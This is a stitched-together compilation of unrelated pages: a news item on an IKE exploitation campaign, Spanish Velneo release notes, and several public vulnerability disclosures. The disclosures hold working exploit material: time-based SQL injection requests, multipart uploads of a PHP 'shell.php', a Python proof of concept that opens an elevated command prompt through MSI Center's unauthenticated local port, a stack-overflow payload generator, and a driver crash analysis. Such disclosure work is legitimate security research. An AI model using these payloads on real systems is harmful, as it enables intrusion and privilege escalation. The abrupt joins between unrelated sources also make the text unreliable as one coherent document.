More than 1,000 systems are exposed to a campaign hunting weak Windows servers and more.

The "Bleed You" campaign is trying to take advantage of a known remote code execution (RCE) vulnerability in Windows Internet Key Exchange (IKE) Protocol Extensions, and more than 1,000 systems are unpatched and vulnerable to compromise. 

The critical flaw, tracked as CVE-2022-34721, has been under active attack since September, a new report from Cyfirma warns, affecting vulnerable Windows OS, Windows Servers, along with Windows protocol and services. Once they achieve compromise the threat actors move laterally to deploy ransomware and other malware, the team observed.

The threat actors speak Mandarin but also have ties to the Russian cybercriminals, according to Cyfirma, which adds that the attacks aren't limited to a specific sector with targets across retail, government, IT services, and more. Victims likewise were spread across a number of mostly Western countries, including Canada, the UK, and the US. 

"Attackers are actively exploiting vulnerable Windows Server machines via the IKE and AuthIP IPsec Keying Modules by exporting this bug. Users are recommended to apply patches and fixes as soon as possible to reduce the severity of exploitation of the vulnerability," Cyfirma's researchers advised. "The researchers observed that unknown hackers are sharing the exploit link on the underground forums as well." 

Keep up with the latest cybersecurity threats, newly-discovered vulnerabilities, data breach information, and emerging trends. Delivered daily or weekly right to your email inbox.

Subscribe

Cyber-Threat Group Targets Critical RCE Vulnerability in 'Bleed You' Campaign


Velneo vClient on its 28.1.3 version, could allow an attacker with knowledge of the victims's username and hashed password to spoof the victim's id against the server.



Es conveniente leer la información siguiente antes de actualizar a esta versión

**

**Información importante sobre los ejecutables de 32 bits para Windows**



**

Esta es la última versión en la que se distribuirán los ejecutables de 32 bits para Windows.

**

**Los comandos y opciones de compactar y vaciar tabla estaban disponibles solamente en servidores cloud y con suscripción (Resuelta en 32.1)**



**

**

Nuevo sistema de activación de licencias de Velneo vServer



**

A partir de la versión 32 cambia el sistema de licenciamiento y las licencias se activarán desde

Velneo vAdmin

. Haz clic

aquí

para ampliar información al respecto.

En mi Velneo, ahora verás que una licencia tiene dos códigos distintos, uno con el formato **VLS-XXXX-XXX**, que será el que se deberá usar para activarla con la versión 32 y superiores y el otro, que usaremos cuando queramos activarla en servidores de la versión 31 o anteriores, que se seguirá activando con

Velneo vActivator

.

**

A partir de esta versión todos los servidores arrancarán con protocolo VATPS



**

El

protocolo VATPS

permite establecer conexiones seguras estándar TLS/SSL lo que provee de privacidad e integridad a las comunicaciones en red entre todos los componentes de Velneo. Es decir, no solo la comunicación se envía cifrada entre los componentes, si no que es inviolable, ya que garantiza que nadie puede modificar la información que se transmite, además de garantizarnos con qué servidor nos hemos conectado.

**

Incidencia con controles dibujo en dispositivos con procesadores Apple Silicon con sistema operativo Ventura



**

Hemos detectado una incidencia que produce un efecto de ralentización del interfaz la primera vez durante unos segundos cuando visualizamos o editamos un formulario con un control dibujo/objeto dibujo. Parece una incidencia de sistema operativo, ya que este efecto se produce también en versiones anteriores ya publicadas en las que no se observaba ese comportamiento y ha comenzado a producirse tras la última actualización de macOS Ventura en equipos con procesadores Apple Silicon.

**

Mejoras de seguridad en validación de usuario y contraseña



**

Con el fin de mejorar la seguridad del

inicio de sesión

en Velneo, se evita enviar el hash de la contraseña, sustituyendo el sistema de login con uno más moderno y seguro.

En breve, aparecerá publicado en

CVE

con el fin de advertir y propiciar la actualización a esta versión.

**

Funciones remotas y compatibilidad con versiones anteriores de Velneo



**

Por defecto, un servidor de la 32 no permite recibir peticiones de ejecución de funciones remotas desde versiones anteriores. En el caso de que queramos hacer esto posible, debemos una clave beta en la máquina donde tengamos instalado el servidor de la versión 32.

Las claves beta son entradas en la rama **beta** de Velneo del registro del sistema operativo. Se recomienda generarlas desde un proceso con el comando de instrucción de proceso

Configuración de sistema: Escribir cadena de texto

para establecerlos, ejecutándolo en 3er plano. Los parámetros se resolverán como indicamos a continuación:

Configuración de sistema: Escribir cadena de texto ( "Velneo", "beta", "clave", "valor" ):

*   **Clave**: enableRetrocompatibildadFuncionesRemotas
    

*   **Valor**: 3BFD2F9B103174596FF78C23CE8DDE77EC917BEA
    

**

Rejillas: la CSS que se aplica a los ítems de rejillas, se aplican también a las columnas de campos de tipo objeto texto y objeto dibujo



**

En versiones anteriores no se aplicaban correctamente las CSS de ítem de

rejilla

en columnas de campos de tipo objeto texto enriquecido y objeto dibujo; ahora hemos mejorado la plataforma para que también las aplique.

Al aplicar el ajuste del texto (wordwrap) en una CSS, el ajuste en textos largos puede resultar distinto.

**

Cómo activar la nueva interfaz Velneo vAdmin



**

Velneo vAdmin estrena nueva interfaz. Para probarla no tienes más que

activarla

.

**

Funcionalidades no disponibles en la nueva interfaz de Velneo vAdmin y en Velneo vAdmin Web



**

*   Alta y modificación de
    
    disco
    
    .
    

**

Mejoras de rendimiento en beta



**

Si quieres disfrutar de la versión beta de estas opciones, debes activar ciertas claves beta correspondiente en el cliente (en el caso de los objetos de interfaz) y también en el servidor (en el caso de procesos).

Las claves beta son entradas en la rama **beta** de Velneo del registro del sistema operativo. Se recomienda generarlas desde un proceso con el comando de instrucción de proceso

Configuración del sistema: escribir cadena texto

para establecerlos, ejecutándolo en 1º y 3º plano según corresponda. Los parámetros se resolverán como indicamos a continuación

Configuración de sistema: Escribir cadena de texto ( "Velneo", "beta", "clave", "valor" )

Ejecutar la aplicación, lanzar el proceso en primero y/o tercer plano, según corresponda.

En el ámbito del cliente, las claves serán operativas en siguientes sesiones que se lancen del mismo.

En el ámbito del servidor, las claves serán operativas en cuanto se reinicie.

Estas son las distintas claves beta que podemos configurar:

*   ​
    
    Rejillas
    
    estándar, carga y movimiento optimizado (requiere el
    
    estilo
    
    _Optimizado_):
    
    *   **Clave**: optimizarRejillasClient
        
    
    *   **Valor**: 8DF627183E075E86BADCF82C11D4F931E8BF62D8
        
    

*   *   **Clave**: optimizarFormulariosClientFormulas
        
    
    *   **Valor**: ED979A19EEFC93EE0E4F58FB93F432BF258E1E33
        
    

*   Procesos, optimización de parámetros:
    
    *   **Clave**: optimizarInstruccion
        
    
    *   **Valor**: F15868161C0B05825E38ADE94001D5D9926CDFB7
        
    
    *   **Ámbito**: cliente y servidor.
        
    

*   *   **Valor**: 11B804B93A06DFED1838D5B21F309414B881EEDF
        
    
    *   **Ámbito**: cliente y servidor.
        
    

*   Nuevo motor
    
    Javascript
    
    con optimización de memoria y concurrencia:
    
    *   **Clave**: enableSombrasJSClass
        
    
    *   **Valor**: F0835AF8367C2AE76BC7804F8183EEB5529C5ADF
        
    
    *   **Ámbito**: cliente y servidor.
        
    

Última actualización 6mo ago

CVE-2021-45036: Notas de la versión

Poultry Farm Management System v1.0 contains a SQL injection vulnerability via the del parameter at /Redcock-Farm/farm/category.php.

**Poultry Farm Management System v1.0 by Nikhil\_B has SQL injection**

BUG\_Author: TavenLi

vendors:https://www.sourcecodester.com/php/15230/poultry-farm-management-system-free-download.html

Vulnerability File: /Redcock-Farm/farm/category.php

GET parameter 'del' exists SQL injection vulnerability

Payload1: /Redcock-Farm/farm/category.php?del=a'

    GET /Redcock-Farm/farm/category.php?del=a' HTTP/1.1
    Host: localhost
    sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
    Connection: close
    

An error page

Payload2: /Redcock-Farm/farm/category.php?del=a''

    GET /Redcock-Farm/farm/category.php?del=a'' HTTP/1.1
    Host: localhost
    sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
    Connection: close
    

An right page

Payload3: /Redcock-Farm/farm/category.php?del=a'%2b(select\*from(select(sleep(20)))a)%2b'

    GET /Redcock-Farm/farm/category.php?del=a'%2b(select*from(select(sleep(20)))a)%2b' HTTP/1.1
    Host: localhost
    sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: none
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
    Connection: close
    

The server response time is 20 seconds

CVE-2022-44399: bug_report/SQLi-1.md at main · tavenli/bug_report

An issue in the component MSI.TerminalServer.exe of MSI Center v1.0.41.0 allows attackers to escalate privileges via a crafted TCP packet.

Missing input validation and missing authentication allow attackers with the ability to connect to TCP/IP ports on localhost:26822 (e.g. any low-privileged user space process) to download and/or launch arbitraty executables with elevated privileges.

**General**

*   Affected product: MSI Center by Micro-Star Int’l Co., Ltd.
*   Affected version: < 1.0.45.0, e.g. 1.0.41.0
*   CVE-2022-31877

**Description**

MSI Center, a tool suite provided by MSI to configure and manage MSI mainboards, includes an executable MSI.TerminalServer.exe which is installed as a privileged service by default and allows incoming TCP/IP connections on localhost:26822. Via the TCP/IP channel, in version 1.0.41.0, it accepts several JSON-formatted command packets without any authentication, including commands which download files from the web and launch executables with elevated privileges.

While these commands are meant to download and install updates of MSI Center, missing authentication allows attackers to trigger a download of arbitrary files form the web to the local file system. Missing input validation enables attackers to launch arbitrary executables, including the downloaded ones, with elevated permissions by employing path traversal techniques.

Combined, these vulnerabilities could, for example, serve as an entry point for user-space applications (like email attachments) to fully compromise a system, including installation of malware or ransomware.

**Proof of Concept**

The following simple Python example will start an elevated Administrator command prompt when executed on a machine running MSI Center.

    import socket
    import json
    
    packet = {
        "Type": "RunSetupModule",
        "Content": json.dumps({
            "Dependent": [{
                "File": "..\\..\\..\\Windows\\system32\\cmd.exe"
            }],
            "DependentIndex": 0,
            "ProgressStatus": 21
        })
    }
    
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
        s.connect(('localhost', 26822))
        s.sendall(json.dumps(packet).encode('utf8'))

Similarly, an arbitray file download can be triggered via the DownloadModule packet type:

    packet = {
        "Type": "DownloadModule",
        "Content": json.dumps({
            "ProcessURL": "https://example.com/foo.exe",
            "Dependent": [{
                "File": "foo.exe"
            }],
            "DependentIndex": 0
        })
    }

**Timeline**

*   May 19, 2022: Contacted vendor with a detailed report and PoC
*   May 25, 2022: Issue partially confirmed by vendor
*   May 25, 2022: Supplied more details including screencast of PoC
*   May 27, 2022: Vendor confirms they are working on a fix
*   June 3, 2022: CVE number assigned
*   June 3, 2022: Vendor reports the issue is fixed in MSI.TerminalServer.exe 3.2022.0527.01 by introducing CA signature validation before launching executables
*   July 5, 2022: I was able to update to a recent MSI Center version and confirm the issue has been fixed (i.e. the PoC is no longer working)
*   July 8, 2022: Public disclosure

**Thank You and Side Note**

I would like to thank MSI for quickly fixing this issue. However, it was difficult to find a contact in MSI to report this issue. I would like to encourage MSI to establish and publish a process to report security vulnerabilities in their products and add an easier way to contact security, without going through various tiers of technical support first. A first step could be to set up a dedicated email address and a /.well-known/security.txt file for easily finding contact information.

CVE-2022-31877: Privilege Escalation in MSI Center – patsch.dev

AVS Audio Converter 10.3 is vulnerable to Buffer Overflow.

    # Exploit Title: AVS Audio Converter 10.3 - Stack Overflow (SEH)# Discovered by: Yehia Elghaly - Mrvar0x# Discovered Date: 2022-10-16# Tested Version: 10.3.1.633# Tested on OS: Windows 7 Professional x86#pop+ret Address=005154E6#Message=  0x005154e6 : pop ecx # pop ebp # ret 0x04 | startnull {PAGE_EXECUTE_READ} [AVSAudioConverter.exe] #ASLR: False, Rebase: False, SafeSEH: False, OS: False, v10.3.1.633 (C:\Program Files\AVS4YOU\AVSAudioConverter\AVSAudioConverter.exe)# The only module that has SafeSEH disabled.# Base       | Top        | Rebase | SafeSEH | ASLR  | NXCompat | OS Dll | # 0x00400000 | 0x01003000 | False  | False   | False |  False   | False  |#Allocating 4-bytes for nSEH which should be placed directly before SEH which also takes up 4-bytes.#Buffer  = '\x41'* 260#nSEH    = '\x42'*4#SEH     = '\x43'*4#ESI     = 'D*44' # ESI Overwrite #buffer = "A"*260 + [nSEH] + [SEH] + "D"*44#buffer = "A"*260 + "B"*4 + "\xE6\x54\x51\x05" + "D"*44# Rexploit:# Generate the 'evil.txt' payload using python 2.7.x on Linux.# Open the file 'evil.txt' Copy.# Paste at'Output Folder and click 'Browse'.#!/usr/bin/python -w  filename="evil.txt" buffer = "A"*260 + "B"*4 + "C"*4 + "D"*44  textfile = open(filename , 'w')textfile.write(buffer)textfile.close()

CVE-2022-44283: AVS Audio Converter 10.3 Stack Overflow ≈ Packet Storm

Online Tours & Travels Management System v1.0 contains an arbitrary file upload vulnerability via /tour/admin/file.php.

Permalink

Cannot retrieve contributors at this time

**Online Tours & Travels management system v1.0 by mayuri\_k has arbitrary file upload**

BUG\_Author: lcg22266

vendors: https://www.sourcecodester.com/php/14510/online-tours-travels-management-system-project-using-php-and-mysql.html

Vulnerability url: ip/tour/admin/file.php

Loophole location: Online Tours & Travels management system's /admin/file.php file exists arbitrary file upload

Request package for file upload:

    POST /tour/admin/file.php HTTP/1.1
    Host: localhost
    Content-Length: 320
    Cache-Control: max-age=0
    sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
    sec-ch-ua-mobile: ?0
    sec-ch-ua-platform: "Windows"
    Upgrade-Insecure-Requests: 1
    Origin: http://localhost
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryX5YWsfY9nqxrRgu9
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: navigate
    Sec-Fetch-User: ?1
    Sec-Fetch-Dest: document
    Referer: http://localhost/tour/admin/file.php
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
    Connection: close
    
    ------WebKitFormBoundaryX5YWsfY9nqxrRgu9
    Content-Disposition: form-data; name="file"; filename="shell.php"
    Content-Type: application/octet-stream
    
    <?php phpinfo();?>
    ------WebKitFormBoundaryX5YWsfY9nqxrRgu9
    Content-Disposition: form-data; name="submit"
    
    Upload Image
    ------WebKitFormBoundaryX5YWsfY9nqxrRgu9--
    

The files will be uploaded to this directory tour\\admin\\upload

We visited the directory of the file in the browser and found that the code had been executed

CVE-2022-44401: bug_report/RCE-1.md at main · lcg-22266/bug_report

Purchase Order Management System v1.0 contains a file upload vulnerability via /purchase_order/admin/?page=system_info.

Permalink

**Purchase Order Management System v1.0 by oretnom23 has Any file upload**

vendors: https://www.sourcecodester.com/php/14935/purchase-order-management-system-using-php-free-source-code.html

Vulnerability url: /purchase\_order/admin/?page=system\_info

Request package for file upload:

    POST /purchase_order/classes/SystemSettings.php?f=update_settings HTTP/1.1
    Host: localhost
    Content-Length: 880
    sec-ch-ua: "Chromium";v="97", " Not;A Brand";v="99"
    Accept: */*
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundary4kTb0mE24bRNykxY
    X-Requested-With: XMLHttpRequest
    sec-ch-ua-mobile: ?0
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
    sec-ch-ua-platform: "Windows"
    Origin: http://localhost
    Sec-Fetch-Site: same-origin
    Sec-Fetch-Mode: cors
    Sec-Fetch-Dest: empty
    Referer: http://localhost/purchase_order/admin/?page=system_info
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Cookie: PHPSESSID=s87kdnnrqs6s4qkbpf0vps3gi4
    Connection: close
    
    ------WebKitFormBoundary4kTb0mE24bRNykxY
    Content-Disposition: form-data; name="name"
    
    s
    ------WebKitFormBoundary4kTb0mE24bRNykxY
    Content-Disposition: form-data; name="short_name"
    
    b
    ------WebKitFormBoundary4kTb0mE24bRNykxY
    Content-Disposition: form-data; name="company_name"
    
    v
    ------WebKitFormBoundary4kTb0mE24bRNykxY
    Content-Disposition: form-data; name="company_email"
    
    d
    ------WebKitFormBoundary4kTb0mE24bRNykxY
    Content-Disposition: form-data; name="company_address"
    
    e
    ------WebKitFormBoundary4kTb0mE24bRNykxY
    Content-Disposition: form-data; name="img"; filename="shell.php"
    Content-Type: application/octet-stream
    
    <?php phpinfo();?>
    ------WebKitFormBoundary4kTb0mE24bRNykxY
    Content-Disposition: form-data; name="cover"; filename="shell.php"
    Content-Type: application/octet-stream
    
    <?php phpinfo();?>
    ------WebKitFormBoundary4kTb0mE24bRNykxY--
    

The file will be uploaded to the uploads directory

We visit the url of the shell.php file and find that the code has been executed

Url: http://ip/purchase\_order/uploads/1666942320\_shell.php

CVE-2022-44400: bug_report/UPLOAD-1.md at main · lcg-22266/bug_report

A null pointer dereference vulnerability exists in the handle_ioctl_83150 functionality of Callback technologies CBFS Filter 20.0.8317. A specially-crafted I/O request packet (IRP) can lead to denial of service. An attacker can issue an ioctl to trigger this vulnerability.

**SUMMARY**

A null pointer dereference vulnerability exists in the handle\_ioctl\_83150 functionality of Callback technologies CBFS Filter 20.0.8317. A specially-crafted I/O request packet (IRP) can lead to denial of service. An attacker can issue an ioctl to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Callback technologies CBFS Filter 20.0.8317

**PRODUCT URLS**

CBFS Filter - https://www.callback.com/cbfsfilter/

**CVSSv3 SCORE**

6.2 - CVSS:3.0/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

**CWE**

CWE-476 - NULL Pointer Dereference

**DETAILS**

A windows device driver is almost like a kernel DLL that, once loaded, provides additional features. In order to communicate with these device drivers, Windows has a major component named Windows I/O Manager. The Windows IO Manager is responsible for the interface between user applications and device drivers. It implements I/O Request Packets (IRP) to enable the communication with the devices drivers, answering to all I/O requests. For more information see the Microsoft website.

The driver is responsible for creating a device interface with different functions to answer to specific codes, named major code function. If the designer wants to implement customized functions into a driver, there is one major function code named IRP_MJ_DEVICE_CONTROL. By handling such major code function, device drivers will support specific I/O Control Code (IOCTL) through a dispatch routine.

The Windows I/O Manager provides three different methods to enable the shared memory: Buffered I/O, Direct I/O, Neither I/O.  
Without getting into the details of the IO Manager mechanisms, the method Buffered I/O is often the easiest one for handling memory user buffers from a device perspective.  
The I/O Manager is providing all features to enable device drivers sharing buffers between userspace and kernelspace. It will be responsible for copying data back and forth.

Let’s see some examples of routines (which you should not copy as is) that explain how things work.  
When creating a driver, you’ll have several functions to implement, and you’ll find some dispatcher routines to handle different IRP as follows:

    extern "C"
    NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT pDriverObject, _In_ PUNICODE_STRING RegistryPath)
    {
     [...]
            pDriverObject->DriverUnload = DriverUnload;
            pDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DriverIOctl;
            pDriverObject->MajorFunction[IRP_MJ_CREATE] = DriverCreate;
            pDriverObject->MajorFunction[IRP_MJ_CLOSE] = DriverClose;
    [...]
    }
    

The DriverEntry is the function main for a driver. This is the place where initializations start.

We can see for example the pDriverObject which is a PDRIVER_OBJECT object given by the system to associate different routines, to be called against specific codes, into the Majorfunction table IRP_MJ_DEVICE_CONTROL for DriverIOctl etc.

Then later inside the driver you’ll see the implementation of the DriverIOctl routine responsible for handling the IOCTL code. It can be something like below:

    NTSTATUS DriverIOctl(PDEVICE_OBJECT pDevObject, PIRP pIrp)
    {
       [...]
        auto pIrpSp = IoGetCurrentIrpStackLocation(pIrp);
        switch (pIrpSp->Parameters.DeviceIoControl.IoControlCode)
        {
    
        case IO_CREATE_EXAMPLE:
                ioctl_inbuffer_data = (ioctl_inbuffer*)pIrp->AssociatedIrp.SystemBuffer;
                auto InputBufferLength = pIrpSp->Parameters.DeviceIoControl.InputBufferLength;
                auto OutputBufferLength = pIrpSp->Parameters.DeviceIoControl.OutputBufferLength;
         [...] some code
    
            pIrp->IoStatus.Information = 0;
            pIrp->IoStatus.Status = status;
    
            break;
         }
         
         pIrp->IoStatus.Information = some value;
         pIrp->IoStatus.Status = status;
         return status;
    }
    

First we can see the pIrp pointer to an IRP structure (the description would be out of the scope of this document). Keep in mind this pointer will be useful for accessing data.  
So here for example we can observe some switch-case implementation depending on the IoControlCode IOCTL. When the device driver gets an IRP with code value IO_CREATE_EXAMPLE, it performs the operations below the case. To get into the buffer data exchanged between userspace and kernelspace and vice-versa, we’ll look into SystemBuffer passed as an argument through the pIrp pointer.

On the device side, the pointer inside an IRP represents the user buffer, usually a field named Irp->AssociatedIrp.SystemBuffer, when the buffered I/O mechanism is chosen. The specification of the method is indicated by the code itself.  
On the userspace side, an application would need to gain access to the device driver symbolic link if it exists, then send some ioctl requests as follows:

    success  = ::DeviceIoControl(
        ghDevice,
        IO_CREATE_EXAMPLE,                  // control code
        &gpIoctl,                           // input buffer
        sizeof(struct ioctl_inbuffer),      // input buffer length
        &gpIoctl,                           // output buffer
        sizeof(struct ioctl_inbuffer),      // output buffer length
        &returned,
        nullptr
    );
    

Such a call will result in an IRP with a major code IRP_MJ_DEVICE_CONTROL and a control code to IO_CREATE_EXAMPLE. The buffer passed from userspace here as input gpIoctl, and output will be accessible from the device driver in the kernelspace via pIrp->AssociatedIrp.SystemBuffer. The lengths specified on the DeviceIoControl parameters will be used to build the IRP, and the device would be able to get them into the InputBufferLength and the OutputBufferLength respectively.

Now below we’ll see one example of sending a correct output buffer length directly without providing the driver some previous context which can lead to different behaviors and more frequently a local denial of service and blue screen of death through the usage of the device driver cbfilter20.

After the system has normally booted and the driver is running, sending an IOCTL 0x83150 with a valid buffer input size and some specific data length leads to the following situation

      CONTEXT:  ffff9c0ee2b66560 -- (.cxr 0xffff9c0ee2b66560)
        rax=0000000000001000 rbx=0000000000000000 rcx=0000000000000000
        rdx=ffffc408362e0a10 rsi=ffffc4083492a570 rdi=0000000000000000
        rip=fffff80258bc4eb4 rsp=ffff9c0ee2b66f60 rbp=ffff9c0ee2b67150
         r8=ffffc40839fe1a30  r9=0000000000083150 r10=fffff80258ba5780
        r11=0000000000000000 r12=ffffc4083a7740c0 r13=ffffc408362e0940
        r14=ffffc40839fe1a01 r15=0000000000000000
        iopl=0         nv up ei pl nz na pe nc
        cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050302
        cbfilter20!handle_ioctl_83150+0xd0:
        fffff802`58bc4eb4 488b4308        mov     rax,qword ptr [rbx+8] ds:002b:00000000`00000008=????????????????
        Resetting default scope
    
        PROCESS_NAME:  python.exe
    

When looking at pseudo code corresponding to the culprit function we can see the following:

    LINE1   __int64 __fastcall handle_ioctl_83150(_DEVICE_OBJECT *a1, PIRP a2)
    LINE2   {
            [...]
    LINE71    v3 = 0i64;
    LINE72    Object = 0i64;
    LINE73    v4 = 0;
    LINE74    SectionHandle = 0i64;
    LINE75    Handle = 0i64;
    LINE76    v48 = 0i64;
    LINE77    buffer_0x10000 = 0i64;
    LINE78    v50 = 0i64;
    LINE79    CurrentStackLocation = a2->Tail.Overlay.CurrentStackLocation;
    LINE80    SystemBuffer = (struct_SystemBuffer *)a2->AssociatedIrp.SystemBuffer;
    LINE81    if ( CurrentStackLocation->Parameters.DeviceIoControl.InputBufferLength != SystemBuffer->size_len + 0x20i64 )
    LINE82    {
    LINE83      l_FileObject = 0i64;
    LINE84  invalid_param:
    LINE85      v14 = STATUS_INVALID_PARAMETER;
    LINE86      goto LABEL_68;
    LINE87    }
    LINE88    FileObject = CurrentStackLocation->FileObject;
    LINE89    must_be_1 = SystemBuffer->must_be_1;
    LINE90    if ( (must_be_1 & 1) != 0 )
    LINE91    {
    LINE92      v4 = 1;
    LINE93      v11 = 0i64;
    LINE94      v12 = 4096i64;
    LINE95    }
    LINE96    else
    LINE97    {
    LINE98      if ( (must_be_1 & 2) == 0 )
    LINE99      {
    LINE100       l_FileObject = (__int64)CurrentStackLocation->FileObject;
    LINE101       goto invalid_param;
    LINE102     }
    LINE103     v11 = 4096i64;
    LINE104     v12 = 0i64;
    LINE105   }
    LINE106   v53 = v12;
    LINE107   MaxCount.QuadPart = v11;
    LINE108   v59 = v12;
    LINE109   v52 = v11;
    LINE110   FsContext2 = (__int64)FileObject->FsContext2;
    LINE111   v58 = FsContext2;
    LINE112   v39 = *(_QWORD *)(FsContext2 + 8);
    LINE113   v54 = v39;
    LINE114   v14 = ObReferenceObjectByHandle(SystemBuffer->handle, 0, 0i64, 0, &Object, 0i64);
    LINE115   v38 = v14;
    LINE116   if ( v14 < 0 )
    LINE117   {
    LINE118     Object = 0i64;
    LINE119     v3 = 0i64;
    LINE120 LABEL_9:
    LINE121     l_FileObject = v39;
    LINE122     goto free_buffer;
    LINE123   }
    LINE124   v15 = *((_QWORD *)Object + 4);
    LINE125   v40 = v15;
    LINE126   v55 = v15;
    LINE127   a2->IoStatus.Information = 0i64;
            [...]
    LINE380   a2->IoStatus.Status = v14;
    LINE381   return (unsigned int)v14;
    LINE382 }
    

The crash is happening at LINE110, while dereferencing FileObject->FsContext2. The issue is happening as there is no null check done against FileObject and is assumed to be always valid, which is not the case if the IRP packet is sent directly. The FileObject is derived directly from CurrentStackLocation at LINE88, which is derived itself from the IRP packet at LINE79. A specially-crafted I/O request packet bypassing the checks done at LINE80 & LINE90 will lead to denial of service immediately.

**Crash Information**

    1: kd> !analyze -v
    *******************************************************************************
    *                                                                             *
    *                        Bugcheck Analysis                                    *
    *                                                                             *
    *******************************************************************************
    
    SYSTEM_SERVICE_EXCEPTION (3b)
    An exception happened while executing a system service routine.
    Arguments:
    Arg1: 00000000c0000005, Exception code that caused the bugcheck
    Arg2: fffff80258bc4eb4, Address of the instruction which caused the bugcheck
    Arg3: ffff9c0ee2b66560, Address of the context record for the exception that caused the bugcheck
    Arg4: 0000000000000000, zero.
    
    Debugging Details:
    ------------------
    
    
    KEY_VALUES_STRING: 1
    
        Key  : Analysis.CPU.mSec
        Value: 2608
    
        Key  : Analysis.DebugAnalysisManager
        Value: Create
    
        Key  : Analysis.Elapsed.mSec
        Value: 3502
    
        Key  : Analysis.Init.CPU.mSec
        Value: 32186
    
        Key  : Analysis.Init.Elapsed.mSec
        Value: 670833
    
        Key  : Analysis.Memory.CommitPeak.Mb
        Value: 96
    
        Key  : WER.OS.Branch
        Value: vb_release
    
        Key  : WER.OS.Timestamp
        Value: 2019-12-06T14:06:00Z
    
        Key  : WER.OS.Version
        Value: 10.0.19041.1
    
    
    BUGCHECK_CODE:  3b
    
    BUGCHECK_P1: c0000005
    
    BUGCHECK_P2: fffff80258bc4eb4
    
    BUGCHECK_P3: ffff9c0ee2b66560
    
    BUGCHECK_P4: 0
    
    CONTEXT:  ffff9c0ee2b66560 -- (.cxr 0xffff9c0ee2b66560)
    rax=0000000000001000 rbx=0000000000000000 rcx=0000000000000000
    rdx=ffffc408362e0a10 rsi=ffffc4083492a570 rdi=0000000000000000
    rip=fffff80258bc4eb4 rsp=ffff9c0ee2b66f60 rbp=ffff9c0ee2b67150
     r8=ffffc40839fe1a30  r9=0000000000083150 r10=fffff80258ba5780
    r11=0000000000000000 r12=ffffc4083a7740c0 r13=ffffc408362e0940
    r14=ffffc40839fe1a01 r15=0000000000000000
    iopl=0         nv up ei pl nz na pe nc
    cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00050302
    cbfilter20!handle_ioctl_83150+0xd0:
    fffff802`58bc4eb4 488b4308        mov     rax,qword ptr [rbx+8] ds:002b:00000000`00000008=????????????????
    Resetting default scope
    
    PROCESS_NAME:  python.exe
    
    STACK_TEXT:  
    ffff9c0e`e2b66f60 fffff802`58bbc878     : ffffc408`3492a570 ffffc408`362e0940 ffffeb80`01414701 00000000`00000000 : cbfilter20!handle_ioctl_83150+0xd0
    ffff9c0e`e2b67130 fffff802`58ba57f3     : c40839fe`00000000 ffffc408`362e0940 00000000`00000001 ffffc408`3492a570 : cbfilter20!DispatchDeviceControl+0x2d4
    ffff9c0e`e2b67160 fffff802`5509b7d5     : 00000000`0000000e 00000000`00000000 ffffc408`362e0940 00000000`00000001 : cbfilter20!fn_IRP_MJ_DEVICE_CONTROL+0x73
    ffff9c0e`e2b671c0 fffff802`55481a08     : ffff9c0e`e2b67540 ffffc408`362e0940 00000000`00000001 ffffc408`3ad7e0c0 : nt!IofCallDriver+0x55
